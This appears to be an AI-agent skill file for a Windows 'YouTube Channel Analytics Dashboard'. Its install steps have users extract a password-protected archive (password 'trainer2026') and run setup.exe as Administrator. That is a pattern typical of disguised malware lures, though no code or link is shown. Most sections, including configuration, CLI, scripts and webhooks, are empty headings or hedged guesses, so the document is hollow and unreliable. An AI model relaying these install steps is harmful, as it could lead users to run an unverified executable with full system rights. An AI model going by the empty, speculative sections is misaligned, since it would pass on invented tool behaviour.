YouTube Channel Analytics Dashboard
Skill by ara.so — Data Skills collection.
Overview
YouTube Channel Analytics Dashboard is a comprehensive analytics tool that provides real-time and historical insights into YouTube channel performance. It tracks views, watch time, subscriber growth, revenue estimates, and audience demographics through an interactive dashboard interface.
Key capabilities:
- Real-time statistics monitoring (views, subscribers)
- Historical trend visualization with growth charts
- Revenue tracking and estimates
- Audience demographics and geographic mapping
- Video-level performance analysis
- Report export (CSV/PDF formats)
Installation
Windows Setup
- Download the package from the repository releases
- Extract the archive (password:
trainer2026) - Run
setup.exeas Administrator - Follow the configuration wizard
Requirements
- OS: Windows 10/11 (64-bit)
- Runtime: .NET Framework 4.8+ or Visual C++ Redistributable
- Architecture: x64
Configuration
Create a configuration file config.json in the application directory:
Environment Variables
Set these environment variables for API authentication:
Core Functionality
Connecting to YouTube API
The dashboard integrates with YouTube Data API v3. Ensure you have:
- A Google Cloud project with YouTube Data API enabled
- OAuth 2.0 credentials or API key
- Proper scopes:
youtube.readonly,yt-analytics.readonly
Key Metrics Tracked
Usage Patterns
Launching the Dashboard
Command-Line Interface
API Integration (If Extensible)
If the tool provides a scriptable interface or API:
Automation Scripts
Data Analysis Patterns
Subscriber Growth Analysis
Revenue Tracking
Audience Demographics
Dashboard Customization
Creating Custom Views
If the dashboard supports custom panels:
Export and Reporting
CSV Export
PDF Report Generation
Troubleshooting
API Connection Issues
Problem: Dashboard fails to connect to YouTube API
Solutions:
- Verify
YOUTUBE_API_KEYis set correctly - Check API quota limits in Google Cloud Console
- Ensure YouTube Data API v3 is enabled
- Verify channel ID format (should start with "UC")
Missing Data
Problem: Some metrics show no data or zero values
Solutions:
- Ensure OAuth scopes include
yt-analytics.readonly - Check date range (revenue data may have 2-3 day delay)
- Verify channel has sufficient history (minimum 7 days)
- Re-authenticate if token expired
Export Failures
Problem: CSV/PDF export hangs or fails
Solutions:
- Check disk space in output directory
- Reduce date range for large datasets
- Verify write permissions on output folder
- Use smaller metric subset
High Memory Usage
Problem: Dashboard consumes excessive memory with large datasets
Solutions:
- Reduce
data_retention_daysin config - Enable data pagination for exports
- Clear cache regularly
Best Practices
- API Quota Management: Monitor YouTube API quota usage to avoid rate limits (default: 10,000 units/day)
- Data Retention: Set appropriate retention periods to balance history vs. performance
- Scheduled Exports: Automate weekly/monthly reports for consistent tracking
- Multiple Channels: Use separate config files for managing multiple channels
- Backup Data: Regularly export historical data before rotating logs
Advanced Features
Webhook Integration
Comparison Analytics
This skill enables AI agents to help developers effectively use YouTube Channel Analytics Dashboard for comprehensive channel performance monitoring and reporting.

